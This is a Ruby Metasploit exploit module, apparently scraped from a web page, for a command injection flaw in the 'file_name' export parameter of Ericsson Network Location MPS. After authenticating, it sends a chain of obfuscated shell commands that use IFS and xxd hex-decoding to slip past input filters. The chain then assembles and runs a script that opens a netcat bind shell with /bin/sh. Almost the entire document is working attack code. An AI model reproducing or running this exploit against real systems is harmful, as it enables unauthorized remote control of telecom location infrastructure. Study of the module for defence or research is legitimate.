1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)', 'Description'=> %q( This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems. The "export" feature in various parts of the application is vulnerable. It is a feature made for the information in the tables to be exported to the server and imported later when required. Export operations contain "file_name" parameter. This parameter is assigned as a variable between the server commands on the backend side. It allows command injection with preventions bypass operation. "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21" /////// This 0day has been published at DEFCON29-PHV Village. /////// ), 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2021-'], ['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'], ['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'], ['URL', 'https://www.wallofsheep.com/pages/dc29#akkus'] ], 'Privileged' => true, 'Payload'=> { 'DisableNops' => true, 'Space' => 512, 'Compat'=> { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'WfsDelay' => 600, 'RPORT' => 10083, 'SSL' => true, 'PAYLOAD' => 'cmd/unix/bind_netcat' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [['Ericsson NLG', {}]], 'DisclosureDate' => 'Apr 21 2021', 'DefaultTarget'=> 0) ) register_options [ OptString.new('USERNAME',[true, 'NLG Username']), OptString.new('PASSWORD',[true, 'NLG Password']), OptString.new('TARGETURI',[true, 'Base path for NLG application', '/']) ] end ###################################################### # # There are a total of 20 vulnerable areas. # These areas are located in cells,psap,numbering,smpp fields. # One request for each of these fields has been used for exploitation. # These are listed below. # # /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 # /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1 # /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 # /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 # ###################################################### # for Origin and Referer headers def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end # split strings to salt def split(data, string_to_split) word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end def cluster res = send_request_cgi({ # clusters information to API directories 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'), 'method'=> 'GET' }) if res && res.code == 200 && res.body =~ /version/ cls_version = split(res.body, "version") cls_node_type = split(res.body, "node_type") cls_name = split(res.body, "cluster_name") cls_id = cls_version + "-" + cls_node_type + "-" + cls_name return cls_version, cls_node_type, cls_name, cls_id else fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!') end end def permission_check(token) # By giving numbers to the vulnerable areas, we can easily use them in JSON format. json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}' parse = JSON.parse(json_urls) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 6 do link = parse["#{i}"] i +=1 # The cells export operation returns 409 response when frequent requests are made. # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. if link == "/cells/gsm/cgi_cells/" sleep(7) end filename = Rex::Text.rand_text_alpha_lower(6) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 403 then # !200 next elsif res && res.code == 200 return link, true elsif res && res.code == 400 return link, true elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404. return "no link", false end end end def check # check connection and login token = login(datastore['USERNAME'], datastore['PASSWORD']) res = send_request_cgi({ # product information check 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 200 && res.body =~ /version/ version = split(res.body, "version") pnumber = split(res.body, "product_number") print_status("Product Number:#{pnumber} - Version:#{version}") return CheckCode::Appears else return CheckCode::Safe end end def login(user, pass) json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}' res = send_request_cgi( { 'method' => 'POST', 'ctype'=> 'application/json', 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), 'headers' => { 'Origin' => "#{peer}" }, 'data' => json_login }) if res && res.code == 200 && res.body =~ /true/ auth_token = split(res.body, "authToken") return auth_token else fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!') end end def prep_payloads(token, link) fifo = Rex::Text.rand_text_alpha_lower(4) #/ = 2F - y #; = 3B - z #| = 7C - p #>&= 3E26 - v #>/= 3E2F - g #> = 3E - k #< = 3C - c #' = 27 - t #$ = 24 - d #\ = 5C - b #! = 21 - u #" = 22 - x #( = 28 - m #) = 29 - i #, = 2C - o #_ = 5F - a # echo <code>xxd -r -p <<< 2F</code>>y payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F</code>>y&&pwd>fl") +'", ' # echo <code>xxd -r -p <<< 3B</code>>z payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B</code>>z&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 7C</code>>p payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C</code>>p&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E26</code>>v payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26</code>>v&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E</code>>k payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E</code>>k&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 27</code>>t payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27</code>>t&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 24</code>>d payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24</code>>d&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 5C</code>>b payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C</code>>b&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 21</code>>u payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21</code>>u&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 22</code>>x payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22</code>>x&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 28</code>>m payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28</code>>m&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 29</code>>i payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29</code>>i&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 2C</code>>o payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C</code>>o&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 5F</code>>a payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F</code>>a&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3C</code>>c payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C</code>>c&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E2F</code>>g payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F</code>>g&&pwd>fl") +'", ' #echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1 payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}<code>cat${IFS}y</code>tmp<code>cat${IFS}y</code>#{fifo}<code>cat${IFS}z</code>${IFS}<code>cat${IFS}m</code>nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}<code>cat${IFS}p</code><code>cat${IFS}p</code>nc${IFS}-l${IFS}#{datastore['LPORT']}<code>cat${IFS}i</code>0<code>cat${IFS}c</code>>p1&&pwd>fl") +'", ' #echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2 payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>cat${IFS}y</code>tmp<code>cat${IFS}y</code>#{fifo}${IFS}<code>cat${IFS}p</code>${IFS}<code>cat${IFS}y</code>bin<code>cat${IFS}y</code>sh${IFS}<code>cat${IFS}g</code>tmp<code>cat${IFS}y</code>#{fifo}${IFS}2<code>cat${IFS}v</code>1<code>cat${IFS}z</code>${IFS}rm${IFS}<code>cat${IFS}y</code>tmp<code>cat${IFS}y</code>#{fifo}>p2&&pwd>fl") +'", ' #echo <code>cat p1</code> <code>cat p2</code> > 1.sh payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>cat${IFS}p1</code>${IFS}<code>cat${IFS}p2</code>>1.sh&&pwd>fl") +'", ' #chmod +x 1.sh payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", ' #sh 1.sh payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}' if link == "/cells/gsm/cgi_cells/" print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!") end parse = JSON.parse(payloads) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 21 do pay = parse["#{i}"] i +=1 if link == "/cells/gsm/cgi_cells/" sleep(7) end send_payloads(cls_id, cls_node_type, token, link, pay) end end def send_payloads(id, type, token, link, pay) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) end ## # Exploiting phase ## def exploit unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end auth_token = login(datastore['USERNAME'], datastore['PASSWORD']) unless true == permission_check(auth_token)[1] fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!') else perm_link = permission_check(auth_token)[0] print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}") end prep_payloads(auth_token, perm_link) end end |